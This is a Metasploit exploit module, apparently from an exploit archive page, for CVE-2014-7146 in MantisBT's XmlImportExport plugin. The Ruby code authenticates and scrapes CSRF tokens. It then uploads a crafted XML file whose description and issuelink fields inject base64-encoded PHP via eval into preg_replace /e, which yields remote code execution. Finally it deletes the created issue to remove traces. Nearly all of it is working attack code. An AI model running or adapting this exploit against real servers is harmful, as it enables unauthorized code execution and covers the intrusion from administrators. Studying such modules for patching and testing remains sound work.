Mantis Bug Tracker 1.2.0a3 < 1.2.17 XmlImportExport Plugin - PHP Code Injection (Metasploit) (2)

Related Vulnerabilities: CVE-2014-7146  
Publish Date: 18 Nov 2014
Author: Metasploit
                							

                ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 &lt; Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability',
      'Description'    =&gt; %q{
        This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed.
        The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
        This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine.
      },
      'License'        =&gt; MSF_LICENSE,
      'Author'         =&gt;
        [
          'Egidio Romano', # discovery http://karmainsecurity.com
          'Juan Escobar &lt;eng.jescobar[at]gmail.com&gt;', # module development @itsecurityco
        ],
      'References'     =&gt;
        [
          ['CVE', '2014-7146']
        ],
      'Platform'       =&gt; 'php',
      'Arch'           =&gt; ARCH_PHP,
      'Targets'        =&gt; [['Generic (PHP Payload)', {}]],
      'DisclosureDate' =&gt; 'Nov 8 2014',
      'DefaultTarget'  =&gt; 0))

      register_options(
      [
        OptString.new('USERNAME', [ true, 'Username to authenticate as', 'administrator']),
        OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'root']),
        OptString.new('TARGETURI', [ true, 'Base directory path', '/'])
      ], self.class)
  end

  def check
    res = exec_php('phpinfo(); die();', true)

    if res &amp;&amp; res.body =~ /This program makes use of the Zend/
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Unknown
    end
  end

  def do_login()
    print_status('Checking access to MantisBT...')
    res = send_request_cgi({
      'method'   =&gt; 'GET',
      'uri'      =&gt; normalize_uri(target_uri.path, 'login_page.php'),
      'vars_get' =&gt; {
        'return'  =&gt; normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import')
      }
    })

    fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res &amp;&amp; res.code == 200

    session_cookie = res.get_cookies

    print_status('Logging in...')
    res = send_request_cgi({
      'method'    =&gt; 'POST',
      'uri'       =&gt; normalize_uri(target_uri.path, 'login.php'),
      'cookie'    =&gt; session_cookie,
      'vars_post' =&gt; {
        'return'  =&gt; normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
        'username' =&gt; datastore['username'],
        'password' =&gt; datastore['password'],
        'secure_session' =&gt; 'on'
      }
    })


    fail_with(Failure::NoAccess, 'Login failed') unless res &amp;&amp; res.code == 302

    fail_with(Failure::NoAccess, 'Wrong credentials') unless res.redirection.to_s !~ /login_page.php/

    "#{session_cookie} #{res.get_cookies}"
  end

  def upload_xml(payload_b64, rand_text, cookies, is_check)

    if is_check
      timeout = 20
    else
      timeout = 3
    end

    rand_num = Rex::Text.rand_text_numeric(1, 9)

    print_status('Checking XmlImportExport plugin...')
    res = send_request_cgi({
      'method'   =&gt; 'GET',
      'uri'      =&gt; normalize_uri(target_uri.path, 'plugin.php'),
      'cookie'   =&gt; cookies,
      'vars_get' =&gt; {
        'page' =&gt; 'XmlImportExport/import'
      }
    })

    unless res &amp;&amp; res.code == 200
      print_error('Error trying to access XmlImportExport/import page...')
      return false
    end

    # Retrieving CSRF token
    if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/
      csrf_token = Regexp.last_match[1]
    else
      print_error('Error trying to read CSRF token')
      return false
    end

    # Retrieving default project id
    if res.body =~ /name="project_id" value="([0-9]+)"/
      project_id = Regexp.last_match[1]
    else
      print_error('Error trying to read project id')
      return false
    end

    # Retrieving default category id
    if res.body =~ /name="defaultcategory"&gt;[.|\r|\r\n]*&lt;option value="([0-9])" selected="selected" &gt;\(select\)&lt;\/option&gt;&lt;option value="1"&gt;\[All Projects\] (.*)&lt;\/option&gt;/
      category_id = Regexp.last_match[1]
      category_name = Regexp.last_match[2]
    else
      print_error('Error trying to read default category')
      return false
    end

    # Retrieving default max file size
    if res.body =~ /name="max_file_size" value="([0-9]+)"/
      max_file_size = Regexp.last_match[1]
    else
      print_error('Error trying to read default max file size')
      return false
    end

    # Retrieving default step
    if res.body =~ /name="step" value="([0-9]+)"/
      step = Regexp.last_match[1]
    else
      print_error('Error trying to read default step value')
      return false
    end

    xml_file =   %Q|
    &lt;mantis version="1.2.17" urlbase="http://localhost/" issuelink="${eval(base64_decode(#{ payload_b64 }))}}" notelink="~" format="1"&gt;
        &lt;issue&gt;
            &lt;id&gt;#{ rand_num }&lt;/id&gt;
            &lt;project id="#{ project_id }"&gt;#{ rand_text }&lt;/project&gt;
            &lt;reporter id="#{ rand_num }"&gt;#{ rand_text }&lt;/reporter&gt;
            &lt;priority id="30"&gt;normal&lt;/priority&gt;
            &lt;severity id="50"&gt;minor&lt;/severity&gt;
            &lt;reproducibility id="70"&gt;have not tried&lt;/reproducibility&gt;
            &lt;status id="#{ rand_num }"&gt;new&lt;/status&gt;
            &lt;resolution id="#{ rand_num }"&gt;open&lt;/resolution&gt;
            &lt;projection id="#{ rand_num }"&gt;none&lt;/projection&gt;
            &lt;category id="#{ category_id }"&gt;#{ category_name }&lt;/category&gt;
            &lt;date_submitted&gt;1415492267&lt;/date_submitted&gt;
            &lt;last_updated&gt;1415507582&lt;/last_updated&gt;
            &lt;eta id="#{ rand_num }"&gt;none&lt;/eta&gt;
            &lt;view_state id="#{ rand_num }"&gt;public&lt;/view_state&gt;
            &lt;summary&gt;#{ rand_text }&lt;/summary&gt;
            &lt;due_date&gt;1&lt;/due_date&gt;
            &lt;description&gt;{${eval(base64_decode(#{ payload_b64 }))}}1&lt;/description&gt;
        &lt;/issue&gt;
    &lt;/mantis&gt;
    |

    data = Rex::MIME::Message.new
    data.add_part("#{ csrf_token }", nil, nil, "form-data; name=\"plugin_xml_import_action_token\"")
    data.add_part("#{ project_id }", nil, nil, "form-data; name=\"project_id\"")
    data.add_part("#{ max_file_size }", nil, nil, "form-data; name=\"max_file_size\"")
    data.add_part("#{ step }", nil, nil, "form-data; name=\"step\"")
    data.add_part(xml_file, "text/xml", "UTF-8", "form-data; name=\"file\"; filename=\"#{ rand_text }.xml\"")
    data.add_part("renumber", nil, nil, "form-data; name=\"strategy\"")
    data.add_part("link", nil, nil, "form-data; name=\"fallback\"")
    data.add_part("on", nil, nil, "form-data; name=\"keepcategory\"")
    data.add_part("#{ category_id }", nil, nil, "form-data; name=\"defaultcategory\"")
    data_post = data.to_s

    print_status('Sending payload...')
    return send_request_cgi({
      'method'  =&gt; 'POST',
      'uri'     =&gt; normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'),
      'cookie' =&gt; cookies,
      'ctype'   =&gt; "multipart/form-data; boundary=#{ data.bound }",
      'data'    =&gt; data_post
    }, timeout)
  end

  def exec_php(php_code, is_check = false)

    # remove comments, line breaks and spaces of php_code
    payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')

    # clean b64 payload
    while Rex::Text.encode_base64(payload_clean) =~ /=/
      payload_clean = "#{ payload_clean } "
    end
    payload_b64 = Rex::Text.encode_base64(payload_clean)

    rand_text = Rex::Text.rand_text_alpha(5, 8)

    cookies = do_login()

    res_payload = upload_xml(payload_b64, rand_text, cookies, is_check)

    # When a meterpreter session is active, communication with the application is lost.
    # Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it.
    cookies = do_login()

    print_status("Deleting issue (#{ rand_text })...")
    res = send_request_cgi({
      'method' =&gt; 'GET',
      'uri'    =&gt; normalize_uri(target_uri.path, 'my_view_page.php'),
      'cookie' =&gt; cookies
    })

    unless res &amp;&amp; res.code == 200
      print_error('Error trying to access My View page')
      return false
    end

    if res.body =~ /title="\[@[0-9]+@\] #{ rand_text }"&gt;0+([0-9]+)&lt;\/a&gt;/
      issue_id = Regexp.last_match[1]
     else
      print_error('Error trying to retrieve issue id')
      return false
    end

    res = send_request_cgi({
      'method'   =&gt; 'GET',
      'uri'      =&gt; normalize_uri(target_uri.path, 'bug_actiongroup_page.php'),
      'cookie'   =&gt; cookies,
      'vars_get' =&gt; {
        'bug_arr[]' =&gt; issue_id,
        'action' =&gt; 'DELETE',
      },
    })

    if res &amp;&amp; res.body =~ /name="bug_actiongroup_DELETE_token" value="(.*)"\/&gt;/
      csrf_token = Regexp.last_match[1]
    else
      print_error('Error trying to retrieve CSRF token')
      return false
    end

    res = send_request_cgi({
      'method'   =&gt; 'POST',
      'uri'      =&gt; normalize_uri(target_uri.path, 'bug_actiongroup.php'),
      'cookie'   =&gt; cookies,
      'vars_post' =&gt; {
        'bug_actiongroup_DELETE_token' =&gt; csrf_token,
        'bug_arr[]' =&gt; issue_id,
        'action' =&gt; 'DELETE',
      },
    })

    if res &amp;&amp; res.code == 302 || res.body !~ /Issue #{ issue_id } not found/
      print_status("Issue number (#{ issue_id }) removed")
    else
      print_error("Removing issue number (#{ issue_id }) has failed")
      return false
    end

    # if check return the response
    if is_check
      return res_payload
    else
      return true
    end
  end

  def exploit
    unless exec_php(payload.encoded)
      fail_with(Failure::Unknown, 'Exploit failed, aborting.')
    end
  end
end